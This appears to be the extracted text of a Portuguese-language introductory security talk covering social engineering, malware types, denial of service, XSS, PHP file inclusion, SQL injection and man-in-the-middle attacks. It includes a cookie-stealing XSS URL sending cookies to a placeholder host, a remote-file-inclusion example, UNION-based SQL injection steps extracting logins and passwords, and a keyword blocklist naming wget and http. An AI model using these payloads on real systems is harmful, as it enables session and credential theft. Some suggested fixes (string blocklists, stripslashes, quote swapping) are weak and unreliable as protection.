Você está na página 1de 47

Segurança e Vulnerabilidades

Palestrante: Marcelo dos Santos Moraes Junior


Email: marcelomoraes@compilandoideias.com.br
http://www.compilandoideias.com.br/
Segurança e Vulnerabilidades

 O termo Hacker
 A engenharia social
 Pragas Virtuais
 Vulnerabilidades e ataques
 Prática
O termo hacker

 Toda informação
deve ser livre (pekka
himanem)
 Lei de Linus
 Sobrevivência
 Social
 Diversão
 Hackers
 Crackers
 Phreakers
Engenharia Social
No Shell No C

 Engenharia: Talento
 Social: Comunicar
(sociedade)
 A arte de enganar (Kevin D.
Mitnick)
 ”A engenharia social na
informática é a arte de
manipular a curiosidade das
pessoas para executarem
uma certa ação.”
Phishing

 Phishing: Pescar
informações.
 Phishing + Engenharia
social
 Spam
 ”Você acaba de ganhar um
carro 0 km com o sorteio da
Tele cena! Clique aqui e
resgate agora o seu
prêmio!”
Phishing
Phishing
Phishing
Phishing
Phishing
A Engenharia social em pessoas

 Engenharia social reversa


 Falso atendente
 ”Olá boa tarde! O Sr.
Marcelo por favor ?”
Pragas virtuais

 Trojans
 Backdoors
 Rootkits
 Worms
 Spywares
Trojans

 Função: abrir portas para


acesso remoto.
 Estabelecendo uma
conexão:
 Direta
 Reversa
 Trojans: Prorat, Turkojan,
Netbus, wincrash, netcat.
Trojans – Conexão Direta
Trojans – Conexão Reversa
Backdoor

 Função: explorar uma falha


no sistema operacional
para estabelecer uma
conexão.
 Backdoor: BackOriffice
(BO).
Rootkits

 Função: ”camuflar” o
arquivo suspeito dos
sistemas de proteções
(antivírus, firewall).
 Geralmente combinados
com Trojans, Worms,
spywares.
Spywares

 Função: Roubo de
informações (Senhas de
email, bancos, cartões de
créditos).
 Keyloggers:
 SMTP
 FTP
 PHP
Vulnerabilidades e Ataques

 Fingerprint
 Exploits
 Negação de Serviço
 Botnets
 Buffer Overflow
 XSS (Cross site scripting)
 PHP Injection
 SQL Injection
 MITM (Man-in-the-Middle)
 Honeypot
Fingerprint

 Fingerprint: Levantamento
de informações
 S.O
 Portas
 Serviços
 Versões dos serviços
 Por que realizar um
Fingerprint ?
 Ferramentas: Nmap,
Nessus, Acunetix.
Exploits

 O que são exploits ?


 Qual exploit utilizar ?
 Qual linguagem de exploit
utilizar ?
 Tipos de exploits:
 Local
 Remoto
 www.exploit-db.com
 www.metasploit.com
Exploits Exemplo

 S.O: Windows (todas as


versões)
 Serviço: Apache 2.0
 Módulo: mod_jk2
 Vulnerabilidade: Stack
Overflow
 Exploit: http://www.exploit-
db.com/exploits/5330/
 Linguagem: C
Negação de Serviço

 O que é uma Negação de


serviço ?
 O por que de causar uma
negação de serviço ?
 Algumas formas de
ataques:
 Syn Flood
 Udp Flood
 Smurf Flood
Syn Flood

 Objetivo: Armazenar
recursos na máquina alvo.
 3 way handshake
 Syn>Syn+Ack>Ack
 Syn: Recurso armazenado
 Syn>Syn+Ack>???
 Proteção: TCP Syn Cookie
 Syn>Syn+Ack>Ack
 Ack: Recurso armazenado
Udp Flood

 Objetivo: envio de diversos


pacotes utilizando o protocolo
udp para uma determinada
porta.
 Não efetua handshake
 Protocolo rápido
 Defesa: Limitar o tamanho de
pacotes recebidos, dropar o ip
atacante (quando não estiver
sobre técnica de spoofing).
Smurf Flood

 Objetivo: Ataque baseado em


broadcast cujo seu efeito
pode parar uma rede inteira.
 Atacante (ip spoofado idêntico
ao ip alvo)
 Funcionamento: Atacante
envia vários pacotes para a
máquina alvo e para todos os
endereços de broadcast,
assim todas as máquinas da
rede recebem os pacotes e
respodem para a máquina
alvo (Echo ICMP).
Botnets

 Botnet: Máquina Zombie


 Definição:
 Controladas remotamente
 Utilizadas para ataques
DDoS, Spam, roubo de
informações, entre outros.
 Integrandes:
 Atacante
 Master
 Agente
 Vítima
Buffer Overflow

 Objetivo: estouro de um
array fixo da pilha do
aplicativo.
 Quais as consequências ?
 Mal funcionamento do
software
 Sobrescrever em
endereços de memória
que não deveriam
 Execução de código
malicioso
Buffer Overflow – Vulnerabilidade
MS09-067
XSS (Cross site scripting)

 Objetivo: injeção de códigos


em java script em um
campo de texto.
 Permite a execução de
códigos em java script em
uma zona sem privilégios
se tornando uma zona
privilegiada.
XSS (Cross site scripting)

 Exemplo de exploit IPB:


 http://www.site.com/index.php?act=´><s
cript>alert(document.cookie)</script>
 http://www.site.com/index.php%3Fact%3
D%B4%3E%3Cscript%3Ealert%28docu
ment.cookie%29%3C/script%3E%0A

 Exemplo de exploit PHP


Nuke:
 http://phpnuke.org/modules.php?name=
Downloads&d_op=viewdownloaddetails
&lid=02&ttitle=[http://site.com/stealcooki
e.cgi?´+document.cookie]
 http://www.site.com/index.php%3Fname
%3DDownloads%26d_op%3Dviewdownl
oaddetails%26lid%3D02%26ttitle%3D%
5Bhttp%3A//site.com/stealcookie.cgi%3F
%B4%2Bdocument.cookie%5D
Php Injection (Remote File
Inclusion)
 A injeção de php ocorre
quando o programador não
faz verificação de strings ao
incluir uma página.
 Exemplo básico de página
vulnerável:
 include(‘index.php’);
 $pagina = $_GET['pagina'];
 include($pagina);

 Explorando:
 index.php?pagina=[código malicioso]
 index.php?pagina=http://www.site.com/c
md.txt?
Como evitar ?

 Fazer verificação de strings


e verificar se após =
existem extensões de
arquivos diferentes como
txt, jpg.
<?php
//Pega os dados passados pela URL
$pagina=$_GET['pagina'];
//Verifica se a string passada possui algum trecho inválido
//Caso tenha mostra uma mensagem de erro
if(eregi("http|www|ftp|.dat|.txt|.gif|wget", $pagina))
{
echo "Erro na URL!";
//Se a variável passada estiver dentro das normas,
executa o else abaixo
}else{
if(!empty($pagina)) {
@include ($pagina);
}else{
@include ("index.php"); //essa seria a sua página
principal
}
}
?>
SQL Injection

 O SQL injection permite


executar na query
comandos SQL para
manipular tabelas do DB.
 Formas de explorar
 Campo de texto
 URL
 Como corrigir a falha ?
SQL Injection (campo de texto)

 SELECT * FROM usuarios WHERE login = '[login]' AND senha = '[senha]';


 O que acontece se executarmos essa query e adicionar no campo de login uma
string ‘ ?
 SELECT * FROM usuarios WHERE login = ' '' AND senha = '';
 ERRO na página.
 SELECT * FROM usuarios WHERE login = ' ' or 1=1- - ' AND senha = '[senha]';
 O usuário será autenticado como o primeiro usuário cadastrado na tabela pois 1=1.
SQL Injection (URL)

 site.com/index.asp?id='
 Erro:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark after the
character string ''.
/noticias/noticias.asp, line 112
 site.com/index.asp?id=-1+order+by+1,2,3,4,5--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 5 is out
of range of the number of items in the select list.
/noticias/noticias.asp, line 112
 site.com/index.asp?id=-1+union+select+1,2,3,4+from+usuarios--
 Exibiu coluna 2
 site.com/index.asp?id=-1+union+select+1,login,0x3a,senha,3,4
+from+usuarios--
SQL Injection (Correção)

 Correção via Php:


 stripslashes();

 Elimina todos os valores não numéricos $var =


intval($var);
 Correção via Perl:
 $sql = sprintf 'SELECT name FROM usuarios WHERE nome%s AND
senha=%s, $dbh->quote($Q::nome),$dbh->quote($Q::senha);

 Subistitui aspas simples ' por aspas duplas “


Man in the middle

 MITM: Homem no meio


 A arte do MITM consiste
em alterar um canal
criptografado entre
usuário e servidor
legítimo para usuário
atacante e servidor.
 Normal:
Usuário>Servidor
 MITM:
 Usuário>Atacante>Servi
dor
Man in the middle
Man in the middle

 Um MITM pode ser


facilmente realizado.
Para testes podemos
usar o software
Achilles que é um
servidor proxy bem
simples.
 Embora essa técnica
precisa de certa forma
interação da vítima é
necessário tomar
cuidado.
Honeypot

 Honeypot: Pote de Mel


 Função: simular um
serviço e um s.o .
 Objetivo: Observar a
pessoa que conseguiu
acesso.
Honeypot

 Software: Valha
Honeypot.
 Função: simula serviços
como Pop3, ftp, telnet,
no qual você consegue
observar em tempo real
a atividade do invasor.
 Baixa interatividade
Honeynet

 Honeynet é uma
máquina com uma
infraestrutura preparada
para receber invasores.
 Uma máquina em tempo
real.
 Alta interatividade.
Sniffing

 Objetivo: Capturar
pacotes de uma rede
Local e decodifica-los
para quem está
utilizando-o.
 Atua na camada de
Enlace (2 camada do
modelo OSI)
 Arp Poison
 Redes Internas
 Wireshark, Iptraff,
Ethereal, Kismet
Conclusão

 Não existe sistemas


100% Seguros.
 Não existe forma
milagrosa de se obter
acesso a uma rede ou
máquina.
 Nunca se esqueça que
sempre irá existir
pessoas mais espertas
que você.
 Não se aprende Teste
de Intrusão sem praticar
e entender.
Prática

Prática
Referências

Sistemas Operacionais Modernos – Andrew Tanenbaum


A ética dos Hackers – Pekka Himanem
Redes de Computadores – Andrew Tanenbaum

A arte de enganar – Kevin D. Mitnick


A arte de invadir – Kevin D. Mitnick

http://www.netpoint.com.br/ajuda/index.php?title=Sql_Injection
http://www.redehost.com.br/duvidas/protecao-contra-php-injection--138.aspx

http://www.cert.br/docs/whitepapers/honeypots-honeynets/
http://www.infosegura.eti.br/artigos/Ataques_de_Camada_2.pdf

http://mcpbrasil.com/integra.asp?id=199
http://www.cesarkallas.net/arquivos/apostilas/identificacao_passiva_so.pdf